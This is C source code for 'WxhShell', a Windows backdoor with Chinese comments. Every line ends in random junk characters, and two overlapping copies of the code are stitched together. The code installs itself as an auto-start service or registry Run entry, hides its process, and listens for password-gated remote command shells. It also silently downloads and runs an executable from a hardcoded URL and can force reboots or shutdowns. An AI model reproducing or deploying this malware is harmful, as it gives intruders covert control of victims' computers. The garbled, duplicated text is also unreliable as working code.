    closesocket(wsh); 0b6jGa  
    ExitThread(0); G2qv)7{l2  
    } O42`Z9oK  
    break; ">cLPXX  
    } H xs'VK*  
  // 获取shell w^z5O6   
  case 's': { ,`PC^`0c}o  
    CmdShell(wsh); -{`8Av5)E%  
    closesocket(wsh); \~ m\pf?  
    ExitThread(0); 5{Q5?M]  
    break; N(uHy@  
  } F] e` -;  
  // 退出 bCMo8Xh  
  case 'x': { 3}aKok"k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?+av9;Kg  
    CloseIt(wsh); %jk7JDvl  
    break; ~hD!{([  
    } n2} (Pt.  
  // 离开 >*s_)IH2  
  case 'q': { EP,j+^RVf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0DtewN{Z  
    closesocket(wsh); EyR~VKbJ'  
    WSACleanup(); W[c[ulY&  
    exit(1); c?5?TJpm  
    break; %O6r  
        } !yqe z  
  } "Vh3hnS~  
  } A,67)li3  
-Zq\x'  
  // 提示信息 6_|iXs(&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z^lcc7  
} m%zo? e  
  } 3LGX ^J<f  
 _U.|$pU  
  return; i(T[  
} `-t8ag 3  
!LI6_Oq  
// shell模块句柄 JfD-CoQS'  
int CmdShell(SOCKET sock) fg$#ZCi  
{ }uZ/^_U.  
STARTUPINFO si; @$}Ct  
ZeroMemory(&si,sizeof(si)); 4>^LEp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `%QXaKO-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M~%P1@%  
PROCESS_INFORMATION ProcessInfo; m`i_O0T  
char cmdline[]="cmd"; 88Nx/:#Y*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @)#EZQix  
  return 0; YRg"{[+#]k  
} <O Y (y#x  
[|".j#ZlK  
// 自身启动模式 srPczVG*  
int StartFromService(void) U!d|5W.{Q  
{ zh{,.c  
typedef struct n%|og^\0  
{ PRJ  
  DWORD ExitStatus; 8[b_E5!V  
  DWORD PebBaseAddress; u mT *  
  DWORD AffinityMask; 9|D*}OY>  
  DWORD BasePriority; e5RF6roxO  
  ULONG UniqueProcessId; I(<9e"1O  
  ULONG InheritedFromUniqueProcessId; Az7 ] qb  
}   PROCESS_BASIC_INFORMATION; X)e#=w!fi3  
O22Q g  
PROCNTQSIP NtQueryInformationProcess; e ,kxg^  
6ChFsteGFr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r7)qr%n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s\+| ql  
ziDvDu=  
  HANDLE             hProcess; GP>\3@>  
  PROCESS_BASIC_INFORMATION pbi; ;b{yu|  
kEgpF{"%n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); clG@]<a`_  
  if(NULL == hInst ) return 0; 7|5X> yt  
Ii9[[I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F f{,zfN+3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <%o9*)F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dGyrzuPJ  
D@2L<!\  
  if (!NtQueryInformationProcess) return 0; X[<%T}s#  
'-U&S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]p8 zT|bv  
  if(!hProcess) return 0; zmU@ k  
SZ29B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l+#J oc<8  
0iYo&q'n  
  CloseHandle(hProcess); _01wRsm%2  
nb<e<>L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u,V_j|(e  
if(hProcess==NULL) return 0; _tUh*"e&  
\q($8<  
HMODULE hMod; {xAd>fGG+y  
char procName[255]; vPz$+&{I  
unsigned long cbNeeded; y\omJx=,  
gw!d[{#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oXjoQ  
9X?RJ."J  
  CloseHandle(hProcess); +4$][3.  
@XJ#oxM^  
if(strstr(procName,"services")) return 1; // 以服务启动 C}#$wge  
@ ]40xKF  
  return 0; // 注册表启动 f8 BZkh  
} F\, vIS  
[~PR\qm  
// 主模块 Ur]/kij  
int StartWxhshell(LPSTR lpCmdLine) o%bf7)~s  
{ I8a3:)  
  SOCKET wsl; lE gjv,  
BOOL val=TRUE; h@E7wp1'~  
  int port=0; WkiPrQ0]:  
  struct sockaddr_in door; -woFKAy`  
(3Q$)0t  
  if(wscfg.ws_autoins) Install(); JK`$/l|7  
s+~GQcj<T  
port=atoi(lpCmdLine); )=#e*1!b  
Esu {c9,  
if(port<=0) port=wscfg.ws_port; j]FK.G'  
"fr{:'HX  
  WSADATA data; ),CKuq>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? cXW\A(  
/IN#1I!K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5 w(nttYH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U shIQh  
  door.sin_family = AF_INET; s7afj t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RC}m]!Uz  
  door.sin_port = htons(port); w3ATsIw  
_p>F43%p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,-hbwd~M  
closesocket(wsl); &r.M~k >  
return 1; ; PncJe5x  
} :hT.L3n,  
e!PB3I  
  if(listen(wsl,2) == INVALID_SOCKET) { ~o#mX?'7  
closesocket(wsl); NT0n [o^  
return 1; ]J[d8S5  
} .X qeO@z  
  Wxhshell(wsl); 81"` B2  
  WSACleanup(); Pz34a@%"  
=[8K#PZ$w  
return 0; #|4G,!  
=\_gT=tZ  
} m% 3D  
7Q]c=i cg  
// 以NT服务方式启动 `LNhamp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "w$,`M?2  
{ Y/6>OD  
DWORD   status = 0; `!t-$i  
  DWORD   specificError = 0xfffffff; ~|9VVeE  
#CPLvg#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7UY4* j|[C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'da 'WZG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O!%T<2i3  
  serviceStatus.dwWin32ExitCode     = 0; rf-yUH]&S  
  serviceStatus.dwServiceSpecificExitCode = 0; }NoP(&ebz*  
  serviceStatus.dwCheckPoint       = 0; hf]m'5pb  
  serviceStatus.dwWaitHint       = 0; .b+ix=:  
SkMFJ?J/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2,dWD<h  
  if (hServiceStatusHandle==0) return; T\n6^@.>  
E_En"r)y  
status = GetLastError(); S :8  
  if (status!=NO_ERROR) 70GBf"  
{ nj0sh"~+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l 9 wO x  
    serviceStatus.dwCheckPoint       = 0; yhYF "~CM  
    serviceStatus.dwWaitHint       = 0; ,[IDC3.4^R  
    serviceStatus.dwWin32ExitCode     = status; FLs$  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gc"hU:m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E(j# R"  
    return; P woiX#vz  
  } t))MZw&@  
;:j1FOj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j{ YYG|  
  serviceStatus.dwCheckPoint       = 0; z4:<?K  
  serviceStatus.dwWaitHint       = 0; R2n 2mQ<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g\fj6  
} PBnH#zm  
/ZD6pF  
// 处理NT服务事件,比如:启动、停止 =$Mf:F@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uf9 0  
{ GkX Se)#p  
switch(fdwControl) ('SId@  
{ Qw:!Rw,x  
case SERVICE_CONTROL_STOP: | bz%SB  
  serviceStatus.dwWin32ExitCode = 0; BaW4 s4u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uZtN,Un  
  serviceStatus.dwCheckPoint   = 0; +:uz=~m o`  
  serviceStatus.dwWaitHint     = 0; 'Zp{  
  { 7M~sol[*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nwz?*~1  
  } /$CTz xd1  
  return; ?/"|tuQMW  
case SERVICE_CONTROL_PAUSE: l>}f{az-T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <BED&j!qvP  
  break; ~<f[7dBv  
case SERVICE_CONTROL_CONTINUE: _0v+'&bz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u30D`sky  
  break; K\rQb  
case SERVICE_CONTROL_INTERROGATE: V-}}?c1 F  
  break; m<hP"j  
}; KF00=HE|]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s 91[@rh/  
} !*}UP|8  
/V:9*C  
// 标准应用程序主函数 [K.1 X=O}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q}|K29Y:p  
{ 3y6\0|{1  
Q0Ft.b  
// 获取操作系统版本 X)[tb]U/Wx  
OsIsNt=GetOsVer(); }a||@unr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -p&u=  
d(o=)!p  
  // 从命令行安装 A}SGw.3  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0o=HOCL\  
ve ysW(z  
  // 下载执行文件 \jtA8o%n  
if(wscfg.ws_downexe) { 0SQr%:zG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  >Ua'*  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z-Qp9G'   
} 2Qp}f^  
![\-J$  
if(!OsIsNt) { N! 7}B  
// 如果时win9x,隐藏进程并且设置为注册表启动 iyl i/3|  
HideProc(); RkYn6  
StartWxhshell(lpCmdLine); :.,9}\LK  
} _ \6v@  
else & "&s,  
  if(StartFromService()) G n]qh(N>  
  // 以服务方式启动 &bW,N  
  StartServiceCtrlDispatcher(DispatchTable); <ToBVG X  
else Lj3o-@\*j  
  // 普通方式启动 h6 {vbYj  
  StartWxhshell(lpCmdLine);  /ooGyF  
4u 6 FvN  
return 0; z}ar$}T  
} cK+TE8ao  
Y=P*   
'd+fGx7i  
=Z  
=========================================== ,2nu*+6Y/  
b$,Hlh,^  
<bKtAf  
z#GZb   
r%?-MGc  
Or5?Gt  
" [j+:2@  
1IA1;  
#include <stdio.h> :3n@].  
#include <string.h> y ("WnVI  
#include <windows.h> ;>v.(0FE6  
#include <winsock2.h> 4GRD- f[  
#include <winsvc.h> Q v9q~l  
#include <urlmon.h> =0=#M(w  
CJ\a7=*i  
#pragma comment (lib, "Ws2_32.lib") iYStl  
#pragma comment (lib, "urlmon.lib") `F7]M  
=\oH= f  
#define MAX_USER   100 // 最大客户端连接数  v_!6S|  
#define BUF_SOCK   200 // sock buffer z%YNZ ^d  
#define KEY_BUFF   255 // 输入 buffer B$_4 ul\)  
,x8;| o5  
#define REBOOT     0   // 重启 G%erh}0~  
#define SHUTDOWN   1   // 关机 ep"[; $Eb  
J:m/s9r  
#define DEF_PORT   5000 // 监听端口 ~?F,kmO}?  
y&zFS4"x  
#define REG_LEN     16   // 注册表键长度 [tpiU'/Zl  
#define SVC_LEN     80   // NT服务名长度 @f-X/q]P  
<?nIO  
// 从dll定义API `I5^zi8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \Fz9O-jb4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hpAdoy[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $N=&D_Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R |c=I }@F  
{cm?Q\DT  
// wxhshell配置信息 _RbfyyaN  
struct WSCFG { =X4Fn^w"4O  
  int ws_port;         // 监听端口 zuvPV{ X  
  char ws_passstr[REG_LEN]; // 口令 t1FtYXv`/  
  int ws_autoins;       // 安装标记, 1=yes 0=no exb} y  
  char ws_regname[REG_LEN]; // 注册表键名 86r"hy~  
  char ws_svcname[REG_LEN]; // 服务名 LTWkHy x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V)^Xz8H_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,MCTb'=G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +`HMl;0m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E=s,-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1>J.kQR^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H#TkIFo]  
+` Md5.w  
}; ?F"o+]i+^  
7ftn gBv?  
// default Wxhshell configuration QH/py  
struct WSCFG wscfg={DEF_PORT, TpKAdrY  
    "xuhuanlingzhe", uY& 1[(Pb  
    1, =?RI`}vw_H  
    "Wxhshell",  =_dM@j  
    "Wxhshell", ^[?y 2A:  
            "WxhShell Service", <~ smBd  
    "Wrsky Windows CmdShell Service", p;+O/'/j  
    "Please Input Your Password: ", N[I@}j  
  1, XN df  
  "http://www.wrsky.com/wxhshell.exe", 7rjl-FUA~  
  "Wxhshell.exe" ]RCo@QW  
    }; GE/!$3  
* 65/gG8>  
// 消息定义模块 .@VZ3"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !mNst$-H4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 24jf`1XFW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W0gS>L_  
char *msg_ws_ext="\n\rExit."; I=0c\ U}  
char *msg_ws_end="\n\rQuit."; \OwF!~&  
char *msg_ws_boot="\n\rReboot..."; 9M96$i`P  
char *msg_ws_poff="\n\rShutdown..."; @{y'_fw  
char *msg_ws_down="\n\rSave to "; op6]"ZV-C  
],]Rv#`  
char *msg_ws_err="\n\rErr!"; fkxkf^g)  
char *msg_ws_ok="\n\rOK!"; 1q}L O2  
>fBPVu\PA  
char ExeFile[MAX_PATH]; OIblBQ!  
int nUser = 0; Lw>B:3e  
HANDLE handles[MAX_USER]; PtfG~$h?  
int OsIsNt; $Rm~ VwY#  
Fw<"]*iu  
SERVICE_STATUS       serviceStatus; -b-a21,m>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *S;}&VAZ  
7>yd  
// 函数声明  +A3/^C0  
int Install(void); yYCS-rF>  
int Uninstall(void); 'UhoKb_p  
int DownloadFile(char *sURL, SOCKET wsh); 8M5)fDu*?  
int Boot(int flag); YdhTjvx  
void HideProc(void); r[L.TX3Ah=  
int GetOsVer(void); 9Dx~! (  
int Wxhshell(SOCKET wsl); *qpu!z2m||  
void TalkWithClient(void *cs); cE\w6uBR1  
int CmdShell(SOCKET sock); [3Q0KCZ0(  
int StartFromService(void); Af|h*V4Xu  
int StartWxhshell(LPSTR lpCmdLine); FZ- Wgh 0z  
=6sP`:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7[m+r:y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,>j3zjf^  
7'\. Q J!<  
// 数据结构和表定义 'Ea3(OsuXn  
SERVICE_TABLE_ENTRY DispatchTable[] = Yk Ku4f  
{ n8,%<!F^  
{wscfg.ws_svcname, NTServiceMain}, Px_8lB/;  
{NULL, NULL} gT)(RS`_)  
}; lJK]S=cd  
tia}&9;  
// 自我安装 Ic/hVKYG5  
int Install(void) J}V4.R5d  
{ aq?bI:>8  
  char svExeFile[MAX_PATH]; # &v4c  
  HKEY key; c9|4[_&B~  
  strcpy(svExeFile,ExeFile); i2qN 0?n  
?0Q3F  
// 如果是win9x系统,修改注册表设为自启动 ;As~TGiT  
if(!OsIsNt) { tV++QC7@L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %KyZ15_(-L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [+[ W\6  
  RegCloseKey(key); y_WC"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oc)n,D)0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ufL,K q4  
  RegCloseKey(key); g#I`P&  
  return 0; ;j0.#P:a  
    }  Q6 *n'6  
  } {\$S585  
} 7'wpPXdY1  
else {  4!!|P  
maa pX/J  
// 如果是NT以上系统,安装为系统服务 G@s:|oe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); voZaJ2ho/O  
if (schSCManager!=0) k=)U  
{ Sm/8VSY  
  SC_HANDLE schService = CreateService C >OeULD  
  ( Hca(2 ]T-  
  schSCManager, !{ &r|6  
  wscfg.ws_svcname, uI,*&bP  
  wscfg.ws_svcdisp, ZcA"HD%  
  SERVICE_ALL_ACCESS, :V9Q<B^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N<JI^%HBgP  
  SERVICE_AUTO_START, U N?tn}`!  
  SERVICE_ERROR_NORMAL, D4$b-?y  
  svExeFile, %<yW(s9{  
  NULL, r`"_D%kc  
  NULL, r'i99 ~  
  NULL, Rxy|Ag/I;V  
  NULL, kH 9k<{  
  NULL rVabkwYD  
  ); M>k&WtqK  
  if (schService!=0) S1r{2s&  
  { '&CZ%&(Gw  
  CloseServiceHandle(schService); br\3}  
  CloseServiceHandle(schSCManager); N<#J!0w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k7Nx#%xx  
  strcat(svExeFile,wscfg.ws_svcname); 4W>DW`{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LsR<r1KDJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2[w9#6ly  
  RegCloseKey(key); H [+'>Id:  
  return 0; @;EQ{d  
    } uz8eS'8  
  } i?_Q@uA~<:  
  CloseServiceHandle(schSCManager); mLq0;uGL|  
} P~(&lu/;P  
} a Mqt2{f+  
i7H([b<_m  
return 1; k2Q[v  
} %[n5mF*`  
(0`rfYv5.R  
// 自我卸载 puOMtCI  
int Uninstall(void) +aL6$  
{ x.gzsd  
  HKEY key; |mhKD#:  
1=]#=)+  
if(!OsIsNt) { $bp'b<jx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D u<P^CE  
  RegDeleteValue(key,wscfg.ws_regname); ~Dg:siw  
  RegCloseKey(key); @.e4~qz\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 42 `Uq[5Y  
  RegDeleteValue(key,wscfg.ws_regname); xEG:KSH  
  RegCloseKey(key); py$Gy-I~[  
  return 0; GUQ3XF\  
  } ccv  
} 0Cc3NNdz  
} o=VZ7]  
else { ^3HSw ?a"  
'(lsJY[-x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OBFM70K  
if (schSCManager!=0) H~[q<ybxr  
{ &'\-M6GW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n_sV>$f-u  
  if (schService!=0) aR6~r^jB  
  { ""`z3-  
  if(DeleteService(schService)!=0) { qA}l[:F+#  
  CloseServiceHandle(schService); , wk}[MF  
  CloseServiceHandle(schSCManager); dhLd2WSyH  
  return 0; # wn>S<  
  } _WV13pnRu  
  CloseServiceHandle(schService); b?k,_; \  
  } m<Gd 6V5  
  CloseServiceHandle(schSCManager); s#~VN;-I  
} `~axOp9N  
} @>`N%wH'  
, -])[u  
return 1; JNU9RxR  
} oKRI2ni$j9  
 uvDOTRf  
// 从指定url下载文件 iLdUus!  
int DownloadFile(char *sURL, SOCKET wsh) x+sSmW  
{ =j_4!^  
  HRESULT hr; !rx5i  
char seps[]= "/"; p+I`xyk  
char *token; :t;\`gQoS  
char *file; N]BH67<  
char myURL[MAX_PATH]; wKW.sZ!S1  
char myFILE[MAX_PATH]; P EzT|uY  
UXa%$gwFw  
strcpy(myURL,sURL); B_!S\?}$  
  token=strtok(myURL,seps); &w_8E+Y Z  
  while(token!=NULL) y=GDuU%  
  { y]Q/(O  
    file=token; ][f0ZMa  
  token=strtok(NULL,seps); J^kSp  
  } - 6q7ze{@  
BT:b&"AR[  
GetCurrentDirectory(MAX_PATH,myFILE); 8pmWw?  
strcat(myFILE, "\\"); T+V:vuK  
strcat(myFILE, file); 5=s|uuw/  
  send(wsh,myFILE,strlen(myFILE),0); K/&  
send(wsh,"...",3,0); 0l(G7Ju  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sI)jqHZG  
  if(hr==S_OK) #;2kN &  
return 0; <Rt0 V%}-  
else 7CT446  
return 1; .j!:Hp(z}  
gd)VL}k  
} 5"#xbvRS0H  
&S^a_L:  
// 系统电源模块 %z1hXh#+  
int Boot(int flag) y_IF{%i  
{ ^]LWcJ?"^!  
  HANDLE hToken; CIR2sr0a  
  TOKEN_PRIVILEGES tkp; 'pAq;2AA  
Ud-c+, xX  
  if(OsIsNt) { k%RQf0`T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WAr6Dv,8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o hPXwp?]  
    tkp.PrivilegeCount = 1; C-2#-{<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eET1f8 B=L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CwF=@:*d  
if(flag==REBOOT) { o>M&C X+j$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `yXHb  
  return 0; $nthMx$  
} g C@=]Y  
else { 1 RyvPP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o`jVd,aj  
  return 0; 'kCr1t  
} *xKY>E+  
  } R*"zLJP  
  else { &'5 j!  
if(flag==REBOOT) { Yu9(qRK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c"'JMq  
  return 0; $+ \JT/eG9  
} ;;17 #T2  
else { ds+0y;vc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =sXk,I;  
  return 0; ]gb?3a}A  
} xqKj&RuLu  
} [MM`#!K%  
uY )|   
return 1; j&?@:Zg v  
} 0bIhP,4&  
q-0( Wx9|  
// win9x进程隐藏模块 CwzDkr&QC_  
void HideProc(void) |A u+^#:;  
{ j|WN!!7  
'k$j^ |r>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -[lOf  
  if ( hKernel != NULL ) K30{Fcb< h  
  { *Q3q(rdrp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^paM{'J\\)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /9u12R*<  
    FreeLibrary(hKernel); nrZZkQNI  
  } A3e83g~L  
 cCy*?P@  
return; oGZ%w4T  
} yFqB2(Dv  
GA)t!Xg^  
// 获取操作系统版本 p?sC</R  
int GetOsVer(void) IsiCHtY9  
{ AtlUxFX0S  
  OSVERSIONINFO winfo; Rp"" &0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U{.yX7  
  GetVersionEx(&winfo); |NWo.j>4-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }W* q  
  return 1; M,9f}V)  
  else w`K=J!5y2g  
  return 0; [Gb8o'  
} [,ns/*f3R  
w>gB&59r  
// 客户端句柄模块 G8p6p6*  
int Wxhshell(SOCKET wsl) f>_' ]eM%  
{ fnO>v/&B  
  SOCKET wsh; 1lQO`CmR6M  
  struct sockaddr_in client; sq'bo8r  
  DWORD myID; w97%5[-T  
9r hl2E  
  while(nUser<MAX_USER) eB*0})  
{ h}jE=T5Hc  
  int nSize=sizeof(client); kC-OZVoO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D~JrO]mi  
  if(wsh==INVALID_SOCKET) return 1; <@2g.+9  
5"9!kZ(<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?r-W , n  
if(handles[nUser]==0) rjW\tuZI  
  closesocket(wsh); /jv4# 9  
else P PSSar  
  nUser++; s8 0$   
  } ":N E I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uz;z+Bd^  
6w:M_tDM  
  return 0; 1|Z!8:&pj  
} .:=G=v=1  
`Kq4z62V  
// 关闭 socket _"0Bg3Y  
void CloseIt(SOCKET wsh) +(3U_]Lu  
{ V0!$k.Wk  
closesocket(wsh); $4a;R I  
nUser--; Rz9IjL.Z  
ExitThread(0); RW04>oxVn  
} wm/=]*jpK  
2^$Ha|  
// 客户端请求句柄 -9z!fCu3  
void TalkWithClient(void *cs) 'l*p!=  
{ /KH,11 )yc  
kls 6Dk#  
  SOCKET wsh=(SOCKET)cs; o\;cXu h  
  char pwd[SVC_LEN]; =;?afUj  
  char cmd[KEY_BUFF]; [ GqQ6\  
char chr[1]; iSg^np  
int i,j; KN-)m ta&  
wz=c#}0dB  
  while (nUser < MAX_USER) { m3i+b  
]3iQpL  
if(wscfg.ws_passstr) { i917d@r(<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G :JQ_w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DqGm  
  //ZeroMemory(pwd,KEY_BUFF); CDU$Gi  
      i=0; %qqX-SF0C  
  while(i<SVC_LEN) { .~t.B!rVSB  
2Ub!wee  
  // 设置超时 ,4tuWO)"  
  fd_set FdRead; (Ld,<!eN0  
  struct timeval TimeOut; 0<C]9[l  
  FD_ZERO(&FdRead);  &@h(6  
  FD_SET(wsh,&FdRead); QlCs ,bT  
  TimeOut.tv_sec=8; aBonq]W  
  TimeOut.tv_usec=0; 8\ { 1y:|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _gl7Ma  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yTb#V"eR  
JcDcYB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7 I`8r2H  
  pwd=chr[0]; Yy 3g7!K5E  
  if(chr[0]==0xd || chr[0]==0xa) { 84}Pu%  
  pwd=0; tlJ@@v&=  
  break; 7)#8p @Q  
  } T@)|0M  
  i++; Qaeg3f3F3  
    } T>2_r6;  
# %$U-ti  
  // 如果是非法用户,关闭 socket kI|7o>}<   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /pS Y~*  
} + #V.6i  
r?j2%M\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EYD24  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r(VznKSx  
>j$y@"+  
while(1) { -L&%,%  
m#.N  
  ZeroMemory(cmd,KEY_BUFF); vle`#c.  
r#X6jU  
      // 自动支持客户端 telnet标准   /_l$h_{DH  
  j=0; AkE(I16Uy~  
  while(j<KEY_BUFF) { cA8A^Iv:0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GI _.[  
  cmd[j]=chr[0]; ]w;!x7bU(  
  if(chr[0]==0xa || chr[0]==0xd) { 9 m`VIB  
  cmd[j]=0; R Q2DTQ-$  
  break; t#BQB<GI  
  } UHT2a9rG  
  j++; o;5ns  
    } #<*=)[  
)~[rb<:)b  
  // 下载文件 V|W[>/  
  if(strstr(cmd,"http://")) { cWS 0B $$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `+0K~k|DC  
  if(DownloadFile(cmd,wsh)) la}Xo0nq0+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BDiN*.w5  
  else DO{Lj# @  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ZhS=ezgr  
  } ')#!M\1,HQ  
  else { k(23Zt]  
UOYhz.  
    switch(cmd[0]) { Rw!wfh_+  
  I92orr1  
  // 帮助 p38RgEf  
  case '?': { UsQh+W"?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E,p4R%:$@1  
    break; PyQ P K,  
  } %("WoBPH`  
  // 安装 }u?DK,R  
  case 'i': { 6O0CF}B*  
